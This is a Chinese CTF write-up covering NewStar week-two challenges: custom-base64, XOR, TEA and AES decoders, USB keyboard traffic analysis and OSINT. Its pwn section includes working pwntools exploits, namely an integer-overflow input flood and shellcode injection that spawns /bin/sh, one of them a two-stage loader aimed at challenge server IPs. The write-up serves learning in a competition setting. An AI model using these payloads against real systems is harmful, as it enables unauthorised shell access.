image-20251024184057939


用010修改jpg图片高度,发现有一段数据,看起来像自定义的base64表

image-20251024184113830

image-20251024184133125


上面密文的=位置不太对劲,根据题目描述的 需要4颗钉子…,猜测是栅栏密码,枚举一下获得:rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz=

image-20251024184151058


写个脚本解密一下,获得:New5tar_zjuatrojee1mage5eed77yo#

import base64
custom = "8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_"
std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz="
translated = s.translate(str.maketrans(custom, std))
print(base64.b64decode(translated).decode())

image-20251024184210670


用刚才获得的密码解压就能得到flag

image-20251024184322612


OSINT-天空belong

题目描述:OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_照片拍摄时所在省份的省会城市_拍摄设备的制造商},制造商为英文(首字母大写)例:flag{AB1234_北京市_Huawei}

图片是在飞机上拍摄的,在这里可以获得的信息有:机翼上的B-7198和紫色翼尖,右键图片查看属性,可以获得的信息有:拍摄时间2025/8/17 15:03和设备制造商Xiaomi

image-20251024184344853

image-20251024184403231


来到 flightradar24 官网:https://www.flightradar24.com/,查询一下机翼上的B-7198编号,从流览图上可以看到翼尖也是紫色的

image-20251024184430438


往下滑动查看历史记录,发现一条最符合拍摄时间的航班,点击右边的play看看轨迹

image-20251024184451361


注意Playback下面的时间是UTC,要-8,也就是15-8=7,把时间拉到7:00,可以看到飞机在武汉市附近的上空。根据现在查询的历史记录和前面获得的信息结合起来,最终的flag是flag{UQ3574_武汉市_Xiaomi}

image-20251024184512260


前有文字,所以搜索很有用

题目描述:欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)

track1

在解密页面勾选文本里对应的选项,获得一段base64,解密获得:flag{you_

image-20251024184559412

image-20251024184615242


track2

brainfuck解密获得密码:brainfuckisgooooood,把咏雪.docx的文字 Ctrl+A全选,复制到一个新建txt里,用snow解密,获得一段莫斯电码:----- …- …— .-. -.-. …- — . ..—.-,解密获得:0V3RC4ME_

image-20251024184633076

image-20251024184647522

image-20251024184701394


track3

用PuzzleSolver进行字频统计,右侧有个看起来像challenges的英文变体,获得:cH@1LenG3s}。最后和前面的进行结合,得到最终flag:flag{you_0V3RC4ME_cH@1LenG3s}

image-20251024184724606


日志分析-不敬者的闯入

题目描述:在抗日战争暨世界反法西斯战争胜利80周年。前夕,城邦的临时工搭建了一个纪念网站,帮助人们恢复记忆。一些不法分子妄图破坏新世界的记忆,企图摧毁网站,幸好临时工及时止损关闭了该网站的服务,才保住了历史的记忆。请挑战者们通过保留的网站日志,帮助临时工找到不敬者的木马威胁,让临时工能保住这份来之不易的工作吧!

附件是一个日志文件,查看里面的记录,可以看见被成功访问了/admin页面,那我们就进去看看 :3

image-20251024184744257


里面有个webshell,点进去就是flag

image-20251024184801954

image-20251024184816080


美妙的音乐

题目描述:小明最近发现了一首好听的曲子,他把曲子发给你并邀请你一起欣赏,可是这个曲子似乎有什么不对劲的地方?

用Audacity打开就能看到flag,显示不是很清楚,试了几次才对 :( 。flag{thi5_1S_m1Di_5tEG0}

image-20251024184838805


OSINT-威胁情报

题目描述:城邦受到了未知APT组织的攻击,目前已解除威胁,但留下了恶意文件的hash值。为了以后的安全,请Newstar们进行调查,帮助城邦们完善威胁情报吧!flag格式:flag{apt组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)};所有字母全部小写

我把这道题的题目描述和附件里的hash值发送给ChatGPT,GPT用了58秒就把flag找出来了,太恐怖了😨😰😱😭🥶

image-20251024184929910

image-20251024184948620

image-20251024185004293


星期四的狂想

题目描述:怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。

筛选http流然后看一下,发现了奇怪的东西

image-20251024185031135


顺着这个流往下看看,发现有段php,把这段php代码发给AI看看

image-20251024185048365

<?php
echo "Hello, world!";

$flag = base64_encode(file_get_contents("/flag"));
$hahahahahaha = '';
foreach (str_split($flag, 10) as $part) {
  if (rand(0, 1)) {
    $part = strrev($part);
  } else {
    $part = str_rot13($part);
  }
  $hahahahahaha .= $part;
}

$GLOBALS['ThURSDAY'] = $hahahahahaha;
function code($x) {
  return "Cookie: token=" . base64_encode($x);
}

?>

image-20251024185108858

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
解密被混淆的flag
逻辑:每10个字符的块被随机反转或ROT13,需要爆破所有组合
"""

import base64
import codecs
import itertools


def rot13(s):
    """ROT13编码"""
    return codecs.encode(s, 'rot_13')


def reverse(s):
    """反转字符串"""
    return s[::-1]


def decrypt_flag(encrypted_token):
    """
    解密flag

    参数:
        encrypted_token: Cookie中的token值(已base64编码的混淆数据)
    """

    # 步骤1: base64解码token,得到混淆后的数据
    try:
        mixed_data = base64.b64decode(encrypted_token).decode('utf-8')
    except:
        print("[!] Token base64解码失败,尝试直接使用原始数据")
        mixed_data = encrypted_token

    print(f"[*] 混淆数据: {mixed_data}")
    print(f"[*] 混淆数据长度: {len(mixed_data)}")

    # 步骤2: 将混淆数据按每10个字符分割
    chunks = []
    for i in range(0, len(mixed_data), 10):
        chunk = mixed_data[i:i + 10]
        chunks.append(chunk)

    print(f"[*] 分割成 {len(chunks)} 个块:")
    for i, chunk in enumerate(chunks):
        print(f"    块{i}: '{chunk}' (长度: {len(chunk)})")

    # 步骤3: 爆破所有可能的组合
    num_chunks = len(chunks)
    total_combinations = 2 ** num_chunks

    print(f"\n[*] 总共需要尝试 {total_combinations} 种组合\n")

    valid_results = []

    # 生成所有可能的操作组合 (0=ROT13, 1=反转)
    for i, operations in enumerate(itertools.product([0, 1], repeat=num_chunks)):
        # 对每个块应用相应的逆操作
        decoded_chunks = []

        for chunk_idx, op in enumerate(operations):
            chunk = chunks[chunk_idx]

            if op == 0:
                # 原操作是ROT13,逆操作也是ROT13
                decoded = rot13(chunk)
            else:
                # 原操作是反转,逆操作也是反转
                decoded = reverse(chunk)

            decoded_chunks.append(decoded)

        # 拼接所有解密后的块
        candidate = ''.join(decoded_chunks)

        # 尝试base64解码
        try:
            flag_candidate = base64.b64decode(candidate).decode('utf-8', errors='ignore')

            # 检查是否看起来像flag
            if is_valid_flag(flag_candidate):
                print(f"[+] 组合 {i:4d} ({operations_to_str(operations)}): {flag_candidate}")
                valid_results.append((operations, flag_candidate))
        except:
            pass

        # 每1000次显示进度
        if (i + 1) % 1000 == 0:
            print(f"[*] 进度: {i + 1}/{total_combinations} ({(i + 1) * 100 / total_combinations:.1f}%)")

    # 显示结果
    print(f"\n{'=' * 80}")
    if valid_results:
        print(f"[+] 找到 {len(valid_results)} 个可能的flag:\n")
        for ops, flag in valid_results:
            print(f"    操作序列: {operations_to_str(ops)}")
            print(f"    Flag: {flag}\n")
    else:
        print("[!] 未找到有效的flag")
        print("[*] 可能的原因:")
        print("    1. Token值不正确")
        print("    2. 数据被额外编码")
        print("    3. 分块大小不是10字符")


def operations_to_str(ops):
    """将操作序列转换为可读字符串"""
    return ''.join(['R' if op == 0 else 'V' for op in ops])


def is_valid_flag(s):
    """检查字符串是否看起来像有效的flag"""
    # 检查常见的flag格式
    flag_patterns = [
        'flag{', 'FLAG{', 'ctf{', 'CTF{',
        'flag[', 'FLAG[',
        'flag_', 'FLAG_'
    ]

    for pattern in flag_patterns:
        if pattern in s:
            return True

    # 检查是否包含可打印字符
    if len(s) > 10 and s.isprintable():
        # 如果大部分是可打印字符,也认为可能是有效的
        printable_ratio = sum(c.isprintable() for c in s) / len(s)
        if printable_ratio > 0.8:
            return True

    return False


def main():
    print("""
    ╔══════════════════════════════════════════════════════════╗
    ║          Flag 解密工具 - 流量分析题                     ║
    ╚══════════════════════════════════════════════════════════╝
    """)

    print("\n请提供加密的token值(从Cookie中提取):")
    print("格式: Cookie: token=xxxxxx")
    print("或直接输入混淆后的base64数据\n")

    # 示例用法
    token = input("请输入token值(按Enter使用测试数据): ").strip()

    if not token:
        print("\n[*] 使用测试数据...")
        # 这里是示例,实际需要从流量包中提取
        token = "VGVzdERhdGE="  # 替换为实际的token

    # 如果是完整的Cookie格式,提取token值
    if 'token=' in token:
        token = token.split('token=')[1].split(';')[0].strip()

    print(f"\n[*] 使用token: {token}\n")

    decrypt_flag(token)

    print("\n" + "=" * 80)
    print("[*] 提示:")
    print("    R = ROT13")
    print("    V = 反转(reVerse)")
    print("    例如: RRVR 表示 [ROT13, ROT13, 反转, ROT13]")


if __name__ == "__main__":
    main()

运行之后需要我们手动填写token值,找了一下,这个值就在下一个流里,把token值复制进AI写的脚本,脚本就会开始爆破,等爆破结束后,在结果里寻找一下,就能找到正确的flag

image-20251024185127831

image-20251024185142431

image-20251024185158544


MISC城邦-NewKeyboard

题目描述:欢迎挑战者们来到第二周的Misc考核,本关由手持keyboard的侍卫看守能量核心,请挑战者们通过分析侍卫发出的流量获取最终的flag吧!

做这题用了AI辅助。附件拿到两个pcapng文件,第二个文件名 abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng 很明显是一个字符序列,推测这是一个自定义USB键盘协议的映射参考文件

使用tshark工具提取数据包中的usbhid.data字段。

# 提取参考文件的USB HID数据
tshark -r "abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng" -T fields -e usbhid.data > ref_data.txt

# 提取主文件的USB HID数据
tshark -r "newkeyboard.pcapng" -T fields -e usbhid.data > key_data.txt

命令说明

  • -r : 读取pcapng文件
  • -T fields : 以字段格式输出
  • -e usbhid.data : 提取USB HID数据字段
  • > : 将输出重定向到文本文件

查看提取出的数据:

01001000000000000000000000000000000000000000  ← 按键按下
01000000000000000000000000000000000000000000  ← 按键释放
01002000000000000000000000000000000000000000  ← 按键按下
01000000000000000000000000000000000000000000  ← 按键释放

关键发现

  1. 数据长度: 每条数据44个字符(22字节的十六进制表示)
  2. 按键事件: 每个按键对应两条数据
    • 按下事件:非零数据
    • 释放事件:01000000000000000000000000000000000000000000
  3. Shift键: 前缀为0102表示同时按下Shift键
    • 01020000... 表示Shift按下
    • 后面跟随的实际按键产生大写字母或特殊符号

建立映射表

reference_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}"

# 示例映射(部分)
01001000...'a'
01002000...'b'
01004000...'c'
...
01020000000000200000...'_' (Shift + -)
01020000004000000000...'!' (Shift + 1)
01020000000000800000...'{' (Shift + [)
01020000000000000100...'}' (Shift + ])

编写完整脚本:

#!/usr/bin/env python3
# USB键盘流量分析脚本

# 参考文件的字符序列
reference_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}"

# 读取参考数据
ref_data = []
with open(r'C:\Users\lenovo\Desktop\ref_data.txt', 'r', encoding='utf-8') as f:
    for line in f:
        line = line.strip()
        if line:
            if '|' in line:
                line = line.split('|', 1)[1]
            ref_data.append(line)

# 读取实际键盘数据
key_data = []
with open(r'C:\Users\lenovo\Desktop\key_data.txt', 'r', encoding='utf-8') as f:
    for line in f:
        line = line.strip()
        if line:
            if '|' in line:
                line = line.split('|', 1)[1]
            key_data.append(line)

print(f"参考数据条数: {len(ref_data)}")
print(f"键盘数据条数: {len(key_data)}")

# 建立映射字典
release_key = "01000000000000000000000000000000000000000000"
shift_prefix = "01020000000000000000000000000000000000000000"
key_map = {}
char_idx = 0

i = 0
while i < len(ref_data) and char_idx < len(reference_chars):
    key_code = ref_data[i]
    if key_code != release_key:
        # 检查是否是shift组合
        if key_code == shift_prefix:
            # 下一个应该是实际的按键
            if i + 1 < len(ref_data):
                actual_key = ref_data[i + 1]
                key_map[actual_key] = reference_chars[char_idx]
                char_idx += 1
                i += 3  # shift, key, release
                continue
        else:
            # 普通按键
            key_map[key_code] = reference_chars[char_idx]
            char_idx += 1
            i += 2  # key, release
            continue
    i += 1

print(f"\n映射表大小: {len(key_map)}")

# 解码实际数据 - 忽略修饰键状态,只看实际字符
decoded = []
prev_key = None

for i, key_code in enumerate(key_data):
    if key_code == release_key:
        prev_key = None
        continue

    # 跳过单独的shift键
    if key_code == shift_prefix:
        prev_key = key_code
        continue

    # 如果前一个是shift,当前是实际按键
    if prev_key == shift_prefix:
        if key_code in key_map:
            decoded.append(key_map[key_code])
        prev_key = None
        continue

    # 普通按键
    if key_code in key_map:
        decoded.append(key_map[key_code])

    prev_key = key_code

result = ''.join(decoded)
print(f"\n解码结果:")
print(result)

print(f"\n===== FLAG =====")
print(result)
print("================")

image-20251024185230325


Reverse

X0r

题目描述:no xor,no encrypt.

str2 = "anu`ym7wKLl$P]v3q%D]lHpi"
k1 = [0x14, 0x11, 0x45]
k2 = [19, 19, 81]  # decimal as in the binary; equals [0x13, 0x13, 0x51]

def recover_original(str2, k1, k2):
    if len(str2) != 24:
        raise ValueError("Expected length 24 for str2")
    orig_bytes = bytearray()
    for i, ch in enumerate(str2):
        b = ord(ch) ^ k1[i % 3] ^ k2[i % 3]
        orig_bytes.append(b & 0xFF)
    return bytes(orig_bytes)

orig = recover_original(str2, k1, k2)
print("REPR: ", repr(orig))
try:
    print("UTF-8: ", orig.decode('utf-8'))
except Exception:
    print("UTF-8: (not valid utf-8)")
print("HEX:  ", orig.hex())

image-20251024185243738


Strange Base

题目描述:奇怪?这base64为什么不能一把梭了?

用IDA打开,一个自定义base64编码的校验程序

image-20251024185302303


进base64_encode看看

image-20251024185326824


把自定义的表提取出来:HElLo!A=CrQzy-B4S3|is’waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF

image-20251024185344215


#!/usr/bin/env python3
# test.py -- decode custom base64 using the table you provided
# Usage: python test.py

enc = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="
table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"

def decode_custom_b64(enc: str, table: str) -> bytes:
    if len(table) != 64:
        raise ValueError(f"base64 table length is {len(table)} (expected 64).")
    rev = {c: i for i, c in enumerate(table)}
    out = bytearray()
    # process in 4-char blocks
    for i in range(0, len(enc), 4):
        chunk = enc[i:i+4].ljust(4, '=')
        vals = []
        for ch in chunk:
            if ch == '=':
                vals.append(0)
            else:
                if ch not in rev:
                    raise ValueError(f"Character {ch!r} not found in custom table.")
                vals.append(rev[ch])
        # reconstruct bytes
        b0 = (vals[0] << 2) | (vals[1] >> 4)
        out.append(b0 & 0xFF)
        if chunk[2] != '=':
            b1 = ((vals[1] & 0xF) << 4) | (vals[2] >> 2)
            out.append(b1 & 0xFF)
        if chunk[3] != '=':
            b2 = ((vals[2] & 0x3) << 6) | vals[3]
            out.append(b2 & 0xFF)
    return bytes(out)

def printable_view(b: bytes) -> str:
    return ''.join(chr(x) if 32 <= x < 127 else '.' for x in b)

if __name__ == "__main__":
    try:
        decoded = decode_custom_b64(enc, table)
    except Exception as e:
        print("Error:", e)
        raise SystemExit(1)

    print("ENC:      ", enc)
    print("TABLE:    ", table)
    print("LENGTH:   ", len(table))
    print()
    print("HEX:      ", decoded.hex())
    print("REPR:     ", repr(decoded))
    try:
        print("UTF-8:    ", decoded.decode('utf-8'))
    except Exception:
        print("UTF-8:    (not valid utf-8)")
    print("Printable:", printable_view(decoded))

image-20251024185356915


Puzzle

题目描述:咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?

part1

Puzzle_Challenge函数获得:Do_Y0u_

image-20251024185418158


part2

Like_7h1s_Jig这个函数就是flag的part2

image-20251024185440277


part3

双击encrypted_array,按U,选中需要解密的数据,shift+e提取

image-20251024185456157

image-20251024185533321

问GPT要一个解密异或的脚本🤗,获得:s@w_puzz

encrypted = [0xDE, 0xED, 0xDA, 0xF2, 0xDD, 0xD8, 0xD7, 0xD7]
key = 0xAD

result = ""
for byte in encrypted:
    decrypted = byte ^ key
    result += chr(decrypted)
    print(f"0x{byte:02X} ^ 0xAD = 0x{decrypted:02X} = '{chr(decrypted)}'")

print(f"\n解密结果: {result}")

part4

image-20251024185548824

结合一下获得最终flag:flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}


plzdebugme

题目描述:动态调试是学习逆向必不可少的一部分:)

提示我在x0r打断点

image-20251024185604519

用gdb开始动态调试,打个断点

image-20251024185619525


查看当前密文内容,查看反汇编代码,找到 XOR 的密钥

image-20251024185637537


把汇编代码复制给AI

image-20251024185657194

image-20251024185712740


Forgotten_Code

题目描述:在清理一台古老服务器的硬盘时,我们发现了这个来自旧时代的编程遗迹。当时的开发者喜欢与机器直接对话。我们很难直接解读它,但也许你能重新整理这份文件,让你手上的工具再次发挥作用……

把代码交给AI,让AI给出解密脚本

image-20251024185731509

#!/usr/bin/env python3
import struct

# ng 数组初始值(ASCII字符串)
ng_initial = b"sp\x7fvuctp|xeb|hv~\x00"

# 创建两个密钥版本
ng_original = bytearray(ng_initial)
ng_xored = bytearray(ng_initial)

# 对 ng_xored 每个字节异或 17
for i in range(16):
    ng_xored[i] ^= 17

print("原始 ng 数组:", ng_original[:16])
print("异或后的 ng 数组 (密钥):", ng_xored[:16])

# 将两个版本都转换为密钥
key_original = list(struct.unpack('<4I', ng_original[:16]))
key_xored = list(struct.unpack('<4I', ng_xored[:16]))

print(f"\n原始密钥: {[hex(k) for k in key_original]}")
print(f"异或后密钥: {[hex(k) for k in key_xored]}")

# ezgm 数组(加密后的期望值)
ezgm = [
    1210405119,  # 0x482550ff
    710975774,  # 0x2a60a11e
    -90350153,  # 0xfa9d5db7
    -1958008304,  # 0x8b4b2a10
    -745722482,  # 0xd38d2d8e
    67707510,  # 0x4092276
    -86515270,  # 0xfad7e1ba
    -1728462407  # 0x98f9c1b9
]

# 转换为无符号 32 位整数
ezgm = [x & 0xFFFFFFFF for x in ezgm]
print(f"\nezgm 数组: {[hex(x) for x in ezgm]}")


def tea_decrypt(v, key):
    """TEA 解密算法
    v: 2个32位整数的列表 [v0, v1]
    key: 4个32位整数的列表
    """
    v0, v1 = v[0], v[1]
    delta = 0x9e3779b9
    sum_val = (delta * 32) & 0xFFFFFFFF  # 32轮后的 sum 值

    for _ in range(32):
        v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + sum_val) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
        v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + sum_val) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
        sum_val = (sum_val - delta) & 0xFFFFFFFF

    return [v0, v1]


# 解密每一对 32 位整数
# 注意:fn 函数每次调用都会将 ng 异或 17
# 所以第1,3次调用使用异或后的密钥,第2,4次使用原始密钥
flag_content = b""
for i in range(0, 8, 2):
    block_num = i // 2
    # 奇数块(0,2)使用异或后的密钥,偶数块(1,3)使用原始密钥
    if block_num % 2 == 0:
        current_key = key_xored
        key_name = "异或后"
    else:
        current_key = key_original
        key_name = "原始"

    encrypted = [ezgm[i], ezgm[i + 1]]
    print(f"\n解密块 {block_num} (使用{key_name}密钥): {[hex(x) for x in encrypted]}")

    decrypted = tea_decrypt(encrypted, current_key)
    print(f"解密结果: {[hex(x) for x in decrypted]}")

    # 转换为字节(小端序)
    block = struct.pack('<2I', decrypted[0], decrypted[1])
    print(f"字节: {block}")
    flag_content += block

print("\n" + "=" * 50)
print(f"完整 flag: flag{{{flag_content.decode('ascii')}}}")
print("=" * 50)

image-20251024185745392


EzMyDroid

题目描述:普普通通的安卓逆向,请准备好Jadx

AI秒了

image-20251024185806977

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 密钥和密文
key = "1145141919810000".encode('utf-8')
encrypted_base64 = "cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE="

# Base64 解码
encrypted_data = base64.b64decode(encrypted_base64)

# AES ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(encrypted_data)

# 去除填充
try:
    decrypted_text = unpad(decrypted_data, AES.block_size).decode('utf-8')
    print(f"Flag: {decrypted_text}")
except Exception as e:
    print(f"解密失败: {e}")
    print(f"原始解密数据: {decrypted_data}")

image-20251024185822122


Pwn

pwn’s door

题目描述:Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。

用IDA打开附件,有一个登录程序,密码直接写出来了:7038329

image-20251024185843976


用nc连接,输入密码后,直接查看flag

image-20251024185906770


INTbug

题目描述:整数好像有些奇怪的秘密

把主函数的伪代码给gpt,gpt写了个脚本秒了

from pwn import *

p = remote('47.94.87.199', 28807)

# 发送32768次正整数输入来触发整数溢出
for i in range(32768):
    p.sendline(b'1')  # 发送数字1
    print(f"已发送 {i+1}/32768 次输入")

# 等待程序输出flag
print("等待获取flag...")
p.interactive()

image-20251024185924129


GNU Debugger

题目描述:进入pwn的世界之后的第一关,了解你的好伙伴gdb

第一关:跟着向导走,用命令:info register 12查看r12寄存器的16进制值,按c之后把16进制值复制过去

image-20251024185940236


第二关:用x/s 0x555555557c27查看,然后提交

image-20251024185956398


第三关:用break 0x555555555779打个断点

image-20251024190011597


第四关:先用x/x 0x7fffffffdc64命令查看一下当前的值,然后用set {int}0x7fffffffdc64 = 0xdeadbeef命令修改0x7fffffffdc64的值,修改完成后可以用x/x 0x7fffffffdc64检查一下,没问题后按c就能获得flag

image-20251024190027389


input_function

题目描述:什么?要输入一个函数?

把main伪代码给GPT,秒了

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# simple RWX mmap -> write shellcode -> execute PoC
# Usage:
#   python3 exploit.py local
#   python3 exploit.py remote <host> <port>

from pwn import *
import sys

context.update(arch='amd64', os='linux')
BINARY = './target'   # <- 修改为你的本地二进制路径(如果需要)

# x86_64 execve("/bin/sh", NULL, NULL) - compact, no nulls in the payload
shellcode = asm(
    shellcraft.sh()
)

# If you prefer raw bytes version instead of asm(shellcraft.sh()):
# shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

def run_local():
    p = process(BINARY)
    # program prints prompt "please input a function(after compile)"
    # receive any banner until prompt (non-blocking safe)
    try:
        print(p.recvuntil(b"please input a function(after compile)\n", timeout=1).decode())
    except EOFError:
        pass
    # send shellcode; read(0,buf,0x500) will read up to 0x500 bytes
    p.send(shellcode)
    # keep interaction
    p.interactive()

def run_remote(host, port):
    p = remote(host, int(port))
    try:
        print(p.recvuntil(b"please input a function(after compile)\n", timeout=2).decode())
    except:
        pass
    p.send(shellcode)
    p.interactive()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: exploit.py local | remote <host> <port>")
        sys.exit(1)
    mode = sys.argv[1]
    if mode == "local":
        run_local()
    elif mode == "remote":
        if len(sys.argv) != 4:
            print("Usage: exploit.py remote <host> <port>")
            sys.exit(1)
        run_remote(sys.argv[2], sys.argv[3])
    else:
        print("Unknown mode")

image-20251024190045064


刻在栈里的秘密

欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX...),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?

image-20251024190106446

image-20251024190124091


input_small_function

题目描述:密码的为什么能输入的字符这么少

把main、init和clear函数的伪代码给AI,AI给出可用脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 连接设置
if args.REMOTE:
    p = remote('8.147.132.32', 39949)
else:
    p = process('./input_small_function')  # 替换为实际文件名

# ========== 第一段shellcode: read更多数据 ==========
# read(0, 0x114514+20, 0x100)
# 这段shellcode会读取第二段shellcode

shellcode_stage1 = asm('''
    /* read(0, 0x114514+0x14, 0x100) */
    xor rdi, rdi           /* fd = 0 (stdin) */
    mov rsi, 0x114528      /* buf = 0x114514 + 0x14 */
    xor rdx, rdx
    mov dx, 0x100          /* count = 0x100 */
    xor rax, rax           /* syscall number = 0 (read) */
    syscall

    /* 跳转到读入的shellcode */
    jmp rsi
''')

print(f"[*] Stage1 shellcode length: {len(shellcode_stage1)} bytes")
assert len(shellcode_stage1) <= 0x14, f"Stage1 too long! ({len(shellcode_stage1)} > 20)"

# ========== 第二段shellcode: execve('/bin/sh') ==========
shellcode_stage2 = asm(shellcraft.sh())

print(f"[*] Stage2 shellcode length: {len(shellcode_stage2)} bytes")

# ========== 发送payload ==========
p.recvuntil(b'please input a small function (also after compile)\n')

# 发送第一段(20字节限制)
p.send(shellcode_stage1.ljust(0x14, b'\x90'))  # 填充到20字节

# 发送第二段(getshell)
sleep(0.1)
p.send(shellcode_stage2)

# ========== 交互 ==========
p.interactive()

image-20251024190139869

image-20251024190153139


Tagged: CTFNewStar

评论区